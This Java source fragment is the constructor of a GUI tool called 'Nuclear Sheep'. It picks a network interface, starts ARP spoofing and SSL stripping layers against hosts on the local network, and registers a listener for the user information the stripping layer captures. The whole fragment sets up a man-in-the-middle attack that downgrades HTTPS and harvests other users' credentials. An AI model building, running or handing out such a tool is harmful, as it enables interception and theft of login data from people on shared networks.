public NuclearSheep() {
		this.setTitle("Nuclear Sheep");

		List<NetworkInterface> networkInterfaces = ARPSpoofLayer.getPotentialInterfaces();
		if(networkInterfaces.size()==0) {
			JOptionPane.showMessageDialog(this, "Found 0 network interfaces with an IPv4 address to spoof on. Exiting.");
			System.exit(0);
		}
		JOptionPane.showMessageDialog(this, "Found " + networkInterfaces.size() + " network interface(s) with an IPv4 address to spoof on. Picking one to use at random.");//TODO allow picking
		NetworkInterface networkInterface = networkInterfaces.get(0);
		try {
			arp= new ARPSpoofLayer(networkInterface);
			strip = new SSLStripLayer(networkInterface);
		} catch (IOException e) {
			try {
				if(strip!=null)	strip.stopSSLStrip();
				if(arp!=null)	arp.stopARPSpoofs();
			} catch (IOException e2) { }
			JOptionPane.showMessageDialog(this, "IOException opening network interfaces...exiting");
			e.printStackTrace();
			System.exit(0);
		}
		try {
			Thread.sleep(5000);
		} catch (InterruptedException e2) {
			System.exit(0);
		}
		pairs = arp.getIPMACPairs();
		strip.registerUserInfoListener(this);

		//disable the close button
		this.setDefaultCloseOperation(JFrame.DO_NOTHING_ON_CLOSE);
		//create custom close operation
		this.addWindowListener(new WindowAdapter() {
			public void windowClosing(WindowEvent e) {
				try {
					strip.stopSSLStrip();
					arp.stopARPSpoofs();
				} catch (IOException e2) { }
				System.exit(0);
			}
		});

		initComponents();
	}